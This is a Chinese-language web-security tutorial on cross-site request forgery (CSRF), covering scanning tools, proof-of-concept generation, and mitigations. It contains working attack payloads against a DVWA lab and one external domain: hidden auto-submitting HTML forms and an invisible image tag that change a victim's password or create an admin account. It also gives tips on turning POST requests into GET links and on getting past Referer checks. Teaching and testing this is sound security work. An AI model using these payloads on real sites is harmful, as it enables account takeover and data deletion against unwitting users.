WEB安全入门系列之CSRF漏洞详解

2018-11-05 12,888

一、CSRF介绍

CSRF(Cross-site request forgery)全称“跨站请求伪造”,也被称为“One Click Attack”或者“Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义进行某些非法操作。CSRF能够使用你的账户发送邮件,获取你的敏感信息,甚至盗走你的账户。


二:CSRF原理

受害者--用户在当前已经登录的web应用程序上执行非本意的操作

攻击者--欺骗浏览器,让其以受害者的名义执行自己想要的操作


例如:

当用户打开或登录某个网站时,浏览器与网站所存放的服务器将会产生一个会话,在这个会话没有结束时,用户可以利用自己的权限对网站进行某些操作,如:修改资料、交易支付、删除文件等,当会话结束后,用户再进行某些操作的时候,WEB应用程序便会提示“当前会话已经过期”“请重新登录”等提示。

攻击者构造好一个修改用户密码的请求,通过诱骗已经登陆WEB应用程序的受害者点击,受害者便以自己的身份执行了一个非本意的操作,而修改的密码是攻击者可以控制的,这就导致了受害者的密码被恶意修改。

CSRF攻击是建立在浏览器与WEB服务器的会话之中的,通过欺骗用户访问URL达到攻击目的。


三、漏洞挖掘

1、自动化扫描工具

netspark

AWVS

appscan

一般用上列工具可以扫描到网站是否存在CSRF漏洞。但是在工具中添加登录参数可以大大提高挖掘的成功率

2、半自动检测工具

CSRFTester

下载地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip

1.安装CSRFTester

1.jpg

打开run.bat就可以打开工具,但是需要java的环境

2.jpg2.jpg

消息框出现该消息时,表示工具已经开始监听本地8008这个端口了,这个时候需要配置浏览器的代理

2. 设置浏览器代理(搜狗浏览器为例)

点击工具栏--代理设置--添加新代理,将代理进行添加并启用即可

3.png

3. 用户登录

单击“Start Recording”,开启CSRFTester的检测工作,这样以后我们所有访问的URL以及参数都会被记录下来。

4. 通过CSRFTester抓取和伪造请求

当你登录一个网站账号时,CSRF Tester会进行抓取

9.png

我们抓取了该请求,在Step属性中添加请求,然后将Form Parameter中的user等表单中参数进行修改,然后单击Generate HTML按钮(可以选择其他格式:Forms、IFrame等)来产生CSRF攻击脚本。

10.png

随机生成了一个攻击脚本,将其上传服务器,发送给受害者即可。

CSRF PoC generator

打开burpsuite,在抓取任意一个HTTP请求中点击右键,选择Engagement tools,然后点击Generate CSRF POC即可生成CSRF POC,

8.png

这款工具也是根据请求参数生成的POC,可以直接点击test in browser按钮进行测试,点击后会利用这段POC进行攻击。

上列两款工具可以拦截所有的请求,渗透测试人员可以在登录状态下进行修改密码、删除文件等操作,工具便会将发送的请求进行拦截,再通过工具生成的POC便可以验证漏洞是否存在。


四、手工测试实例

1、利用csrf修改用户密码

2、利用csrf删除文件

3、突破CSRF验证

4.1、任意修改用户密码

进入修改密码页面,输入修改的密码,重复输入修改的密码,然后点击提交,获取get方式的请求包,如下:

http://127.0.0.1:2003/dvwa1.9/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

随后我们密码便修改为123456了,如果我们将链接发送给已经登录这个平台的用户,浏览器就会自动使用他的cookie来执行修改密码的参数

伪造一个html文件,上传至ftp服务器,伪造成链接发送给受害者即可执行这个参数

html代码如下:

<html>
  <head>
      <title>csrf测试</title>
  </head>
 <body>
   <form action="http://127.0.0.1:2003/dvwa1.9/vulnerabilities/csrf/">
     <input type="hidden" name="password_new" value="12345678" />
     <input type="hidden" name="password_conf" value="12345678" />
     <input type="hidden" name="Change" value"Change" />
     <input type="submit" value"某某图片下载" />
   </form>
 </body>
</html>

另一种HTML形式,上传FTP空间发送网址给用户打开即可

<img src=" http://127.0.0.1:2003/dvwa1.9/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change" frameborder="0" width="0px" />  


4.2、删除任意文件

在网站后台功能中有删除文件的请求,把请求包(POST方式)构造成GET方式,当管理员打开连接时,文件就被删除了,可以将链接隐藏在自己的服务器,诱惑管理员打开

如果是GET方式,直接复制请求链接发送给受害者即可,如果是POST方式可以转变为GET方式,方法如下:

1、选择删除的文件,删除时进行抓包

2、把POST后面的参数进行复制,如delete=/web&id=index.php

3、用&符号将其参数和URL进行连接,如http://www.xxxx.xxxx/admin.php?xxxxx&delete=/web&id=index.php

4、按照GET方式攻击方法发送给受害者


4.3、突破CSRF验证

当网站只允许POST请求方式时,我们构造的GET方式攻击便失效了,这是我们可以构造一个HTML页面,将POST请求的参数写入表单中进行提交,代码为:

<html>
  <head>
      <title>csrf测试</title>
  </head>
 <body>
 <iframe frameborder="0" name="myifare" width="0px" height="0px"</iframe>
   <form id="myfrom" method="post" action="http://www.hcdegz.com/chuangjiang">
     <input type="hidden" name="username" value="admin" />
     <input type="hidden" name="password" value="12345678" />
     <input type="hidden" name="Change" value"Change" />
   </form>
<script>
 var myfrom =document.getElementById("myfrom")
 myfrom.submit();
</script>
 </body>
</html>

当管理员访问上传到服务器中的该页面时便会自动创建一个管理员账户。

注:有些网站采用了一些安全策略,每当发送一个请求时,会匹配请求包中上个页面来源是否为网站本身,也就是referer头,这时候我们在构造HTML页面发送给受害者时便失效了,我们可以创建一个跟网站某页面相同名称的目录,有几率能绕过这一防御机制。

五、修复方式

1、当用户发送重要的请求时需要输入原始密码

2、设置随机Token

3、检验referer来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)

4、设置验证码

5、限制请求方式只能为POST


本文作者:教主assassin

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/78792.html

Tags:
评论  (0)
快来写下你的想法吧!

教主assassin

文章数:7 积分: 107

不走回头路,不踏寻常路。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号